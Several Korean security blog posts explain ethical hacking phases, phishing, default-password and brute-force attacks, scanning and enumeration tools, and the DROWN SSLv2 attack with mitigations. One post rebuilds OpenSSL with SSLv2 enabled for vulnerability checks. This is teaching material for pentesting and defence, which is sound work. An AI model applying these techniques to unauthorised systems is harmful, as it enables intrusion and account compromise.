예시를 들어서 보면 공격자가 클라이언트 회사 직원에게 가짜 메일을 하나 보냅니다.
음.. 뭐 거래처의 이름이나 약간 공식적인 느낌이나는 종류의 메일을 발송하고, 해당 메일을 통해서 악성코드를 전파하는 Case가 있을 것 같네요. 이런식으로 타겟을 속여서 낚고 그것을 통해 접근을 따내는 방법입니다. 개인 메일에는 좀 덜하지만 메일방어 솔루션이 없으면 이런 메일 자주 받아보실수도 있을 것 같네요.

http://iantoy.deviantart.com/art/Kadasig-goes-spear-fishing-328254012
오른쪽 그림을 보면 뭐가 떠오르시나요?  여러가지가 있겠지만 이미지 자체는 작살사냥(SpearFishing)을 의미합니다. 해킹/보안에서의 스피어 피싱은 좀 더 다른 형태의 피싱 공격입니다.

최근? 한 몇년되긴 했지만 조금더 날카로운 공격인 스피어피싱도 같이 유행하고 있습니다.
APT 시나리오에서 자주 나오는 개념이고, 일반적인 피싱과 비슷하지만 정확하게 목표와 타겟이 정해진 피싱이죠.

예시를 들면 공격자가 클라이언트 회사 내 개발 연구원에게 메일을 하나 보냅니다. 다만 피싱과의 차이가 있다면 무분별하게 피싱 메일을 보내는것이 아닌 목표 그룹이나 사람을 속이기 위해 더 정교한 메일을 보내는 것 입니다. 개발 연구원에게 유명 개발랩이나 컨퍼런스에서 온 메일처럼 그 사람이 신뢰하기 좋은 내용으로 메일을 보내게 되고 이를 통해서 정보를 탈취하거나 접근을 따내는 방법입니다. 아무래도 대상에 대해 공격자들이 연구하는 시간이 들어가있기 때문에 일반적인 피싱보다는 성공률이 높습니다.

3. Password Hacking / BruteForce
세번째는 Password Hacking 과 BruteForce 입니다.
개인 서버를 운영하면 많은 공격을 받게 될텐데, 아마 제 생각에는 Default Password를 해킹하려는 공격과 BruteForce 가 많을 것으로 보이네요. (아 물론 취약점 Scan이 제일 많겠죠)

Password Hacking은 취약한 Password나 Default Password를 공격하는 방법입니다.
많은 솔루션, 툴들은 기본적으로 Password를 지정해서 배포되는 경우가 많습니다.
사용자는 이 Password에 대해 변경하여 사용하지만, 실제로는 기본 패스워드로 운영되는 곳도 많습니다. 재미있는 사례로 IOS 탈옥 디바이스도 있겠네요.

IOS는 탈옥을 하게 되면 System Terminal에 접근하기 위해서 SSH를 사용하게 됩니다.
이 SSH는 원격지에서도 접근이 가능하도록 설정이 되어있는데, 여기서 탈옥 IOS는 공통적으로 동일한 비밀번호로 설정된채로 탈옥됩니다. 사용자가 이 Password에 대해서 변경하여 사용한다면 안전한 편이지만 그렇지 않다면 Default Password를 이용해서 쉽게 IOS 기기를 탈취할 수 있지요.

Default Password와 같이 Password에 대한 공격으로 많이 사용되는 것이 Weak Password/BruteForce Attack 입니다. 짧은 길이의 비밀번호는 반복적인 요청을 통해 쉽게 Crack될 수 있지요. BruteForce 툴로 대표적인 것은 Medusa, Hydra입니다. (제 기준에서요.)

반복적인 요청, 아니면 JTL(John the Ripper)를 통해서 패스워드 해쉬에 대한 크랙 등으로 패스월드를 Crack 할 수 있습니다. Crack에 성공하면, 공격자는 Gaining Access 에 성공합니다.

Phase of Ethical Hacking
[HACKING] Phase of Ethical Hacking/Pentest(모의/윤리해킹의 단계)
[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance/Footprinting
[HACKING] Phase of Ethical Hacking Phase2 - Scanning/Enumeration
[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access
[HACKING] Phase of Ethical Hacking Phase4 - Maintaining Access
[HACKING] Phase of Ethical Hacking Phase5 - Covering Tracks
Share: | Coffee Me:

4/15/2016

[HACKING] Phase of Ethical Hacking Phase2 - Scanning/Enumeration

윤리해킹(Ethical Hacking)의 5가지 단계 중 두번째 Scanning & Enumeration입니다.
이 단계는 타겟에 대해 Scanning 하는 단계입니다. 타겟 시스템에 대해 Port Scan 등을 진행하고 직접적인 공격 수행에 앞서 점검하게 되는 순서입니다. 이번 포스팅에서는 Scanning과 Enumeration 에 대한 이야기를 할까 합니다.

Scanning

대표적으로 nmap과 같은 네트워크 스캔 툴을 이용하여 Port를 스캔하는 단계입니다. 포트 스캔은
대상 시스템의 열려있는 포트를 확인하고, 그에 매칭되는 서비스를 파악하는 것 입니다.

Scanning 단계를 크게 3단계로 나누어 보면 아래와 같습니다.

1. Live System Check(Determining If The System Is Alive)
먼저 네트워크 내 살아있는 호스트에 대한 확인이 필요합니다. Live System 을 찾는 행위이지요.
대체로 이 과정에서 Ping Sweep 등을 통해 확인합니다.
Nmap이나 hping 등으로 쉽게 찾을 수 있습니다.

2. Port Scanning
이 단계는 포트 스캐닝을 하는 단계입니다. 공격자는 확인된 포트를 통해 어떠한 서비스를 운영하는지, 공개된 취약점은 없는지, 추가로 새로운 취약점을 찾기 위한 발판이 되죠.

3. Banner Grabbing
이 단계 또한 중요합니다. 물론 Port Scan 시 이 3과정을 모두 동시에? 바로 수행하게 되지만 하나하나 알아두면 좋습니다. Banner Grabbing은 Request와 Response 를 통해 해당 포트의 서비스를 파악하는 기술입니다. 예를들어 22 번 Port로 접근 시 OpenSSH가 Banner 구문을 출력하도록 설정되어 있다면 SSH는 자신의 버전정보를 Banner로 나타나게 됩니다. 공격자는 이를 통해 SSH의 정보를 확인할 수 있고, 해당 포트가 SSH라는 것을 확신할 수 있지요.

Port Scanner 중 단연 베스트로 뽑을 수 있는것은 nmap입니다. 다수의 포트스캔 기능 및 NSE를 통해 취약점 스캔 또한 가능하며 굉장히 세세한 옵션을 줄 수 있기 때문에 대다수 해커 및 보안전문가가 사용하지요.

기본 옵션에 대한 설명과 NSE 설명 아래 정리해 두었으니 참고해주세요.

[HACKING] NMAP Part1 - nmap을 이용한 여러가지 네트워크 스캔 기법(network scan with nmap)
[HACKING] NMAP Part2 - NSE(Nmap Script Engine)을 이용한 취약점 스캐닝(Vulnerability scan with NSE Script)

Enumeration

Enumeration 단어 자체는 열거라는 의미를 가지고 있습니다. 말 그대로 Recon 과 Scanning 을 통해 얻어진 결과를 열거하고 공격에 필요한 정보를 수집하는 단계입니다. Enumeration에는 사용자 계정, 시스템 계정 관리자 계정 등 계정정보, AD(Active Directory), NetBIOS 등 수집 된 정보를 공격 수행을 위해 정리하는 단계로 보시면 됩니다.

대표적으로 NBTScan 같은 툴을 이용하여 NetBIOS에 대한 정보를 수집하고 windows 의 경우 사용자 계정을 식별합니다.

    NBTScan
    DumpSec
    Legion


Scanning 과 Enumeration 과정을 통해 공격자는 시스템을 해킹하기 위한 준비가 완료됩니다.
(시스템에 대한 정보, 계정 등)

Phase of Ethical Hacking
[HACKING] Phase of Ethical Hacking/Pentest(모의/윤리해킹의 단계)
[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance/Footprinting
[HACKING] Phase of Ethical Hacking Phase2 - Scanning/Enumeration
[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access
[HACKING] Phase of Ethical Hacking Phase4 - Maintaining Access
[HACKING] Phase of Ethical Hacking Phase5 - Covering Tracks

Reference

https://home.ubalt.edu/abento/753/enumeration/enumerationtools.html
Share: | Coffee Me:

[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance/Footprinting

윤리해킹(Ethical Hacking)의 5가지 단계 중 첫번째 Reconnaissance & Footprinting입니다.

이 단계는 탐색, 정찰, 예비 조사를 의미하는 Reconnaissance 즉, 타겟에 대해 알아가는 단계라고 볼 수 있습니다. 크게 이 과정에서는 google과 같은 검색 엔진을 이용하여 검색하는 기법, 소셜 엔지니어링, Dumpster Diving, Domain에 대한 조사 등이 포함되게 됩니다.




미리 정찰을 하게 되는 단계이며 동적이냐, 동적이지 않느냐로 Passive Reconnaissance와 Active Reconnaissance로 구별하게 됩니다.

Passive Reconnaissance

Passive Recon은 타겟의 정보를 수집할 때 적극적이지 않은 수집으로 보시면 될 것 같습니다. 예를 들면 whois 를 통해 Domain에 대한 정보를 수집하고 nslookup을 통해 DNS 정보 수집, 인터넷 검색을 통해 자료나 타겟의 정보를 수집하는 단계를 의미하죠. Active Recon과 비교하면 차이가 확 눈에 들어올 겁니다. 이 과정에서 공격자는 법을 위반하지는 않습니다.(일반적인 웹 서핑, 웹 검색 정도와 비슷하죠)

 - whois
 - nslookup
 - Google Hacking
 - Search Engine
 - Gathering Inforamtion(Passive)


Active Reconnaissance

Active Recon은 공격수행에 앞서 정보를 수집하는 단계 중 직접적으로 체킹을하게 되는 단계를 의미합니다. 타겟에 직접적으로 요청이 가거나 영향이 있을 수 있는 탐색 단계입니다. 이 과정부터는 허가되지 않은 Recon이라면 법을 위반하게 됩니다. 이 과정에서 IDS에 탐지되거나 IPS, F/W에 차단당할 수 있게되지요.

 - Discover Individual Host
 - Crawl
 - Gathering Inforamtion(Active)


직접적으로 타겟에 대해 정보를 수집하는 단계입니다.

Footprinting

Recon단계에서 빠질 수 없는게 바로 Footprinting 입니다. 어찌보면 Recon과 다음 단계인 Scan을 포함하는 단계일수도 있습니다. (조금 더 넓은 의미에요.)
단계에 직접적으로 포함되지는 않지만 많이 나오는 개념이니 알아두면 좋을 것 같아 포함하였습니다.
(오히려 더 헷갈리는건 아닌지..)

Footprinting은 타겟에 대해 정보를 수집하는 기술을 의미하며 여러가지 방법으로 정보를 수집할 수 있습니다. 영단어 자체 의미로도 발자국을 추적한다 이런 느낌이기에 이해가 금방 되실거라 믿습니다. FootPrinting은 아래와 같은 행위를 말합니다.

    DNS queries
    Network enumeration
    Network queries
    Operating system identification
    Organizational queries
    Ping sweeps
    Point of contact queries
    Port Scanning
    Registrar queries (WHOIS queries)
    SNMP queries
    World Wide Web spidering


딱 봐도 그냥 정보 수집 단계이지요.. 여기서 필요한 기술/절차 등을 FootPrinting 이라고 보시면 됩니다. 심플하죠.

Phase of Ethical Hacking
[HACKING] Phase of Ethical Hacking/Pentest(모의/윤리해킹의 단계)
[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance/Footprinting
[HACKING] Phase of Ethical Hacking Phase2 - Scanning/Enumeration
[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access
[HACKING] Phase of Ethical Hacking Phase4 - Maintaining Access
[HACKING] Phase of Ethical Hacking Phase5 - Covering Tracks

Reference

https://en.wikipedia.org/wiki/Footprinting
http://null-byte.wonderhowto.com/how-to/hack-like-pro-conduct-active-reconnaissance-and-dos-attacks-with-nmap-0146950/
Share: | Coffee Me:

4/14/2016

[HACKING] Phase of Ethical Hacking/Pentest(모의/윤리해킹의 단계)

모의해킹/윤리적인 해킹을 위해 제시되는 단계들이 여려가지가 있습니다. 이 가운데 대표적으로 사용되는 것을 조금 정리해볼까 합니다. 물론 실무에서는 다른 느낌으로 접근하지만요..
(물론 각각 다 차이가 있을 수 있음)




아래와 같이 윤리적인 해킹의 단계(Phase of Ethical Hacking)와 침투테스트의 단계(Phase of Penetration Test) 로 구분지어 보도록 하겠습니다.

Phase of Ethical Hacking(5 Stage)

일단 윤리적 해킹의 단계를 5개로 정의할 수 있습니다. 요 내용은 EC-Council의 CEH 자격에서도 거론되는 내용이며 알아두시면 모의해킹, 윤리해킹의 큰 흐름을 이해하시기에 도움이 될 것 같습니다.



1.Reconnaissance
2.Scanning
3.Gaining Access
4.Maintaining Access
5.Covering Tracks


입니다. Recon 부터 Covering Track 까지 하나하나의 순차 단계로 진행되며 각각 단계에서 수행하는 것과 의미가 정의되어 있습니다. (물론 실제로 침투? 시에 저 절차를 따라야하는가에 대해서는 고민이 필요할 것 같네요.)

1.Reconnaissance

이 단계는 정보에 대해 수집하는 단계입니다. 영어 사전을 찾아보시면 아시겠지만 탐색, 정찰, 예비 조사 등의 의미로 사용하며 군에서도 RECON으로 사용되는 단어입니다. 이 단계에서는 타겟에 대해 정보를 수집하는 부분이며 동적인 여부에 따라 Active Recon, Passive Recon으로 분류할 수 있지요. 자세한 내용은 아래 포스팅에서 다루겟습니다.

[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance

2.Scanning

이 단계는 타겟에 대해 Scan 하는 단계입니다.
정확히 말하면 Scanning & Enumeration 과정이 모두 포함된거지요. Reconnaissance를 통해 얻어진 정보를 가지고 Tool이나 기술을 이용하여 타겟의 정보를 좀 더 깊게 살펴보는 단계입니다. 대표적으로 Ping Sweep, Port Scan, Network Mapper, Vulnerability Scan 등이 포함되지요. 자세한 내용은 아래 포스팅에서 다루겠습니다.

[HACKING] Phase of Ethical Hacking Phase2 - Scanning

3.Gaining Access

이 단계는 Recon, Scan을 통해 얻어진 정보를 이용하여 시스템에 접근하는 단계입니다. 대부분의 직접적인 공격은 이 단계에 해당하게 되지요. Recon/Scan으로 얻어진 취약점 정보를 이용하여 Exploit 하고 시스템에 접근권한, 쉘 등을 얻어내는 단계입니다. 여러가지 시스템, 웹 해킹 기법이 Ganing Access 에 포함됩니다. 자세한 내용은 아래 포스팅에서 다루겠습니다.

[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access

4.Maintaining Access

Gaining Access 에서 얻어낸 시스템 접근 권한을 유지하는 단계입니다. 공격을 통해 접근하였지만 언제 보안장비나 SE, 보안전문가로부터 연결을 해제당할 수 있기 때문에 공격자가 접근을 유지할 수 있도록 Backdoor를 심는 과정이지요. Backdoor, Trojan, Rookit 등을 통한 권한 유지가 이 과정에 포함됩니다.

5.Covering Tracks

마지막으로 Covering Track은 자신의 흔적을 지우고 IDS나 F/W로 부터 숨는 과정입니다.
이 단계에서 해커가 수행했던 모든 흔적에 대해 지우려고 하는 단계이지요.

Phase of Penetration Test

사실 Ethical Hacking이나 Penetration Test나 비슷비슷 합니다만 정의로는 과정이 약간 분리되어 있습니다. 물론 순서야 누가 만들었는냐 누가 사용하느냐에 따라 조금 다르지만요.
pentet-standard.org에 정의된 내용을 보면 아래와 같습니다.

1. Pre-engagement Interactions
2. Intelligence Gathering
3. Threat Modeling

 위협에 대해 모델링하는 단계입니다.
4. Vulnerability Analysis
 취약점 분석 단계입니다. Scan 부터 기술을 이용한 공격까지 이 부분에 포함되겠지요.
5. Exploitation
 4번을 통해 얻어진 취약점을 활용하여 Exploit 을 만드는 단계입니다.
6. Post Exploitation
 만들어진 Exploit 을 전송하는 단계입니다. 실제로 공격이 일어난 부분이지요.
7. Reporting
 위의 결과를 리포트 형태로 정리하는 단계입니다.

Ethical Hacking의 5단계는 큰 그림의 윤리/모의 해킹 단계라면 Pentest-standard.org에 정의도니 7단계는 모의해킹 시 실제로 적용되는 단계라고 보시는게 더 좋을 것 같습니다.

예전 블로그(noon)에서도 경사식해킹(ZEH)에 대해 정리하였지만 그땐 많이 몰랐던것도 있고 실무로 접하기 전이기 때문에 한번 다시 정리할 겸 작성하였습니다. 단계에 대한 이야기는 종류도 다양하고 해석도 다양하기 때문에 자신이 이해하기 가장 좋을것으로 습득하고 활용하시는게 좋을 것 같습니다.

Phase of Ethical Hacking
[HACKING] Phase of Ethical Hacking/Pentest(모의/윤리해킹의 단계)
[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance/Footprinting
[HACKING] Phase of Ethical Hacking Phase2 - Scanning/Enumeration
[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access
[HACKING] Phase of Ethical Hacking Phase4 - Maintaining Access
[HACKING] Phase of Ethical Hacking Phase5 - Covering Tracks

Reference

http://www.pentest-standard.org/index.php/Main_Page
Share: | Coffee Me:

4/13/2016

[DEBIAN] qemu를 이용한 arm elf 파일 실행


일반적으로 PC에서 arm으로 컴파일된 프로그램을 실행할 수 없습니다.
만약 실행한다면 아래와 같은 메시지가 발생하죠.

#> ./mzz_arm
bash: ./mzz_arm: cannot execute binary file: Exec 형식 오류

그러나 디바이스에 직접 넣어 테스트하기 귀찮기도 하고, 번거로울 때 사용할 수 있는 좋은 패키지가 있습니다. 바로 qemu라는 패키지인데요. 이 패키지는 가상화 소프트웨어이며 arm 등 다른 디바이스를 위해 만들어진 소프트웨어 스택 전체를 가상머신 위에서 실행할 수 있는 장점이 있습니다.

하이퍼바이저라는 기술을 이용해서 여러개 가상머신을 한 플랫폼안에서 동작시킬 수 있고 가상머신으로 잘 알려진 VMware 나 Oracle VBOX 또한 유사한 프로그램입니다. 자세한 내용은 나무위키 보시면 좋을 것 같네요.
https://namu.wiki/w/QEMU

일단 apt 를 이용해서 qemu를 설치합니다.
#> apt-get install qemu

설치하게 되면 아래와 같이 arm 소프트웨어를 실행할 수 있습니다.

#> ./mzz_arm
Memory size: 64 MiB

Reference

http://wiki.qemu.org/Main_Page
https://namu.wiki/w/QEMU
Share: | Coffee Me:

4/11/2016

[HACKING] OpenSSL Client 에서 SSLv2 사용하기(Check DROWN Attack)


OpenSSL, Python 내 ssl 패키지도 어느시점부터 SSLv2 사용에 대해 지원을 중단하고
사용하지 못하도록 패치되었습니다. 올 초에 이슈가 되었던 DROWN Attack에 대해서 점검하기 위해서는 SSLv2 를 사용하여 서버에 접근해야하지만, 기존에 사용하던 OpenSSL은 -ssl2 옵션을 사용하지 못합니다. 그래서 간단한 방법으로 패치하여 사용하는 법에 대해 공유할까 합니다.

아래와 같이 -ssl2 옵션을 찾을 수 없는 경우(unknown option -ssl2)

#> openssl s_client -connect 127.0.0.1:443 -ssl2

unknown option -ssl2
usage: s_client args

 -host host     - use -connect instead
 -port port     - use -connect instead
 -connect host:port - who to connect to (default is localhost:4433)
 -verify arg   - turn on peer certificate verification

패치 전 준비사항(Install Utility for OpenSSL)

OpenSSL을 수정하기 전 편의를 위해 devscripts와  quilt 를 설치해둡니다.
데비안/우분투에서는 apt 패키징으로 쉽게 설치가 가능합니다.

#> apt-get install devscripts quilt

설치가 되었다면 openssl의 source 코드를 저장소로부터 받아옵니다.
#> apt-get source openssl
#> cd openssl-1.0.1f      // 이 부분은 각 버전에 맞게 들어가시면 됩니다.

OpenSSL 수정하기(Patch OpenSSL)

일단 quilt 툴을 이용하여 패치 내역을 끌어냅니다.
#> quilt pop -a

쭉 보다보시면 no_sslv2.patch 가 보입니다.
이 부분이 이전에 openssl 측에서 패치한 내용이죠.


 debian/patches/series
 no_sslv2.patch
그럼 debian 디렉토리로 이동 후 rules 파일을 편집합니다.
#> cd debian
#> vim rules

해당 파일은 make 시 옵션으로 들어갈 부분들이 정의되어 있고 CONFARGS 값의 no-ssl2 옵션을 지워줍니다.

Before

CONFARGS  = --prefix=/usr --openssldir=/usr/lib/ssl --libdir=lib/$(DEB_HOST_MULTIARCH) no-idea no-mdc2 no-rc5 no-zlib  no-ssl2 enable-tlsext $(ARCH_CONFARGS)
After

CONFARGS  = --prefix=/usr --openssldir=/usr/lib/ssl --libdir=lib/$(DEB_HOST_MULTIARCH) no-idea no-mdc2 no-rc5 no-zlib  enable-tlsext $(ARCH_CONFARGS)
그 후 quilt 를 이용하여 repatch 합니다.

#> quilt push -a
#> dch –n 'Allow SSLv2'

이다음 make를 해서 binary만 따로 사용하셔도 좋고, deb 패키지로 재포장해서 시스템에 설치하셔도 됩니다.

1. make

#> ./config
#> make

2. deb package
#> dpkg-source --commit
#> debuild -uc -us
#> cd ..
#> dpkg -i *ssl*.deb

이후부터는 OpenSSL 에서 sslv2 를 사용할 수 있습니다.

이제 -ssl2 옵션을 이용해서 sslv2 사용 여부를 확인할 수 있습니다.
DROWN Attack 에 대한 검증 방법으로도 사용할 수 있겠네요.

Reference

http://blog.opensecurityresearch.com/2013/05/fixing-sslv2-support-in-kali-linux.html

Share: | Coffee Me:

4/07/2016

[HACKING] SSLv2 DROWN Attack(CVE-2016-0800) 취약점 분석 / 대응방안

올 초에 발견되었던 DROWN Attack에 대해 이야기해볼까 합니다.
사실 발견 당시 이 취약점에 대해 굉장히 흥미가 생겼지만, 바쁜 일정과 적은 자료로 관심을 접게되었지요.
최근에 a2sv에 해당 취약점을 점검할 수 있는 모듈을 넣는게 좋다고 생각되어서 다시 열어보게 되었습니다.


https://drownattack.com/

DROWN Attack이란?

이 취약점은 SSLv2 자체 취약점으로 알려져 있습니다. DROWN의 풀네임인 "Decrypting RSA with Obsolete and Weakened eNcryption" 또한 취약한 암호화에 대한 내용이며 해당 취약점을 통해 Cross-protocol attack 수행이 가능합니다.

공격을 통해서 HTTPS 를 깨거나 MITM 등의 시나리오가 가능합니다. 현재까지도 대다수 SSL이 적용된 웹 서비스가 취약하네요.. :(

CVSS를 보면 아래와 같습니다.

CVSS Severity (version 3.0):
  CVSS v3 Base Score: 5.9 Medium
  Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
  Impact Score: 3.6
  Exploitability Score: 2.2
CVSS Version 3 Metrics:
  Attack Vector (AV): Network
  Attack Complexity (AC): High
  Privileges Required (PR): None
  User Interaction (UI): None
  Scope (S): Unchanged
  Confidentiality (C): High
  Integrity (I): None
  Availability (A): None

CVSS Severity (version 2.0):
  CVSS v2 Base Score: 4.3 MEDIUM
  Vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N) (legend)
  Impact Subscore: 2.9
  Exploitability Subscore: 8.6
  CVSS Version 2 Metrics:
  Access Vector: Network exploitable
  Access Complexity: Medium
  Authentication: Not required to exploit
  Impact Type: Allows unauthorized disclosure of information 
기밀성만 침해되며 4.3의 Base Score를 가져가네요. v3 버전이 나온지가 조금 되었는데, 솔직히 아직 익숙하지가 않네요;
간단히 알아보았고 원리에 대해서 조금 더 알아보겠습니다.

DROWN Attack 원리


최근 웹서버가 TLS를 통한 보안을 사용하지만 많은 서버들이 SSLv2 or SSLv3 등을 지원하는 경우가 있습니다.
일반적으로 각각 웹 브라우저에서 SSLv2를 사용하지 않기 때문에 지금에서야 그 위험성이 나타난 것 같네요.
(POODLE도 그러고 SSLv2, SSLv3 둘다 참..)

공격자가 SSLv2를 지원하는 서버와 같은 개인키(Private Key)를 사용해서 일반적인 TLS Connections 풀어낼 수 있습니다.
이 공격 자체가 개인키를 공유하는 서비스 중 SSLv2를 사용하지 않으면 괜찮지만 사용한다면 HTTPS가 DROWN Attack에 위협받을 수 있습니다.

https://privatsphaere-leipzig.org/
현재 웹 보안에서 매우 중요하게 여겨지는 보안 프로토콜은 TLS입니다. 이 프로토콜의 초기, 즉 시작이 된 유래가 Netscape Communications에서 만든 SSL(Secure Socket Layer)입니다. 초기 SSL은 불안정하고 오류/버그등이 있었지만 시간이 오래 지난 현재에도 지원을하며, 사용이 가능하기 때문에 여러 SSL 취약점에 노출되게 됩니다. 아무래도 1990년대 프로톨콜이기 떄문에 이런 이슈가 터져도 이상하지 않을수도 있죠.

SSLv2, TLS 모두 RSA를 지원하지만 TLS는 암호화에 대한 공격에 대해서 대응이 가능하고 SSLv2는 그게 불가능합니다.
SSLv2는 RSA 기반의 키 교환 과정을 거치는데, 이 과정 자체를 PMS(Pre Master Secret) 라고 부릅니다.


공격자는 암호화된 PMS를 스니핑하고, 서버에게 유사한 연관값들을 매우 많이 보내며 PMS에 대해 복호화를 시도하게 됩니다.
이러한 과정을 통해서 PMS 복호화에 성공하면 RSA를 통해 교환된 키값을 찾을 수 있고 이 키를 이용하여 SSL을 복호화할 수 있습니다.
(이 과정중에는 Daniel Bleichenbacher가 발표했던 문서에 1비트의 정보를 통해 복호화가 성공했는지 실패했는데 알 수 있는 부분이 있습니다.)

이 과정에서 TLS와 SSL의 보안성의 차이가 나타납니다.
SSL이 크랙되는 과정은 이처럼 이루어지게 되고 다음은 큰 그림으로 Drown Attack의 형태를 볼까합니다.

보시면 아시겠지만 굉장히 단순한 보안연결에 대한 공격 시나리오입니다.

아래 그림과 같이 공격자는 SSLv2를 지원하는 웹서버에게 조작된 SSLv2 probes를 날립니다.

https://drownattack.com/


이 과정에서 키를 찾는 Crack 과정이 들어가고, 공격자가 Key 를 찾는다면 Victim Client 와 Victim Server 간의
암호화된 통신을 열람할 수 있게 되지요.

DROWN Attack Check(Check Vulnerability)

이 취약점을 발표한 곳에서 drownattack.com 서비스를 운영하고 있습니다. 이 사이트에서는 DROWN Attack에 대한 정보와
테스트를 해볼 수 있는 사이트 링크를 제공합니다.
(물론 외부서버는 상관없겠지만, 내부 자산이거나 민감한 경우에는 이곳이 아닌 별도의 툴을 사용하는게 좋겠지요)

https://test.drownattack.com/?site=



A2SV Modules

SSL Scanner인 A2SV에서도 DROWN Attack에 대한 스캔 모듈을 넣어볼까 합니다.
물론 대략적인 정보는 수집하였고, SSLv2 사용 여부를 검증하는 코드만 넣으면 금방될 것 같으니 업데이트까지 오래 걸리지는 않을 것 같네요.

실제로 업데이트되면 글 추가로 수정하겠습니다.


대응방안

아주 간단합니다. SSLv2를 사용하지 않으면 됩니다. (POODLE도 동일한 해법이지요, 물론 config를 수정해야하지만 =_=)

또한 OpenSSL에서는 버전 upgrade가 필요합니다. 이 내용은 알약 블로그에서 굉장히 잘 설명해주셨네요 :)
(http://blog.alyac.co.kr/554)

업그레이드 후 Apache, Nginx 에서 config(httpd.conf 등) 편집이 필요합니다.
(SSLv3 POODLE 수정방법과 거의 동일한 느낌..)

SSLProtocol -all +TLSv1.1 +TLSv1.2
SSLCipherSuite HIGH:!aNULL:!MD5:!SSLv2:!SSLv3:!TLSv1

Reference

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0800
https://drownattack.com/
http://blog.alyac.co.kr/554
Share: | Coffee Me:

[CODING] git pull 사용 시 강제로 pull 하기

a2sv update 기능을 만들던 중 git을 이용하여 pull 하는 과정을 넣었는데
이 부분에서 계속 에러가 발생하였습니다.

Updating 9733895..9ccb963
error: Your local changes to the following files would be overwritten by merge:
 module/M_ccsinjection.pyc
 module/M_freak.pyc
 module/M_heartbleed.pyc
 module/M_logjam.pyc
 module/M_poodle.pyc
Please, commit your changes or stash them before you can merge.
Aborting

위와 같이 fetch된 내용을 merge 하는 과정에서 문제가 발생하였고 update 기능인데
굳이(?) 에러 처리가 필요할까 싶어서 강제로 하는 구문으로 변경하여 넣었습니다.
(물론 한줄 더 추가된거네요;)

아래와 같이 pull 하기전에 reset 옵션을 주고 --hard HEAD를 인자로 넘겨주게 되면 워킹트리 전체를 마지막 Commit 상태로 되돌리게 됩니다. 그러면서 자연스럽게 문제가 되었던 부분들이 사라지게 되었네요.

#> git reset --hard HEAD
#> git pull
Share: | Coffee Me: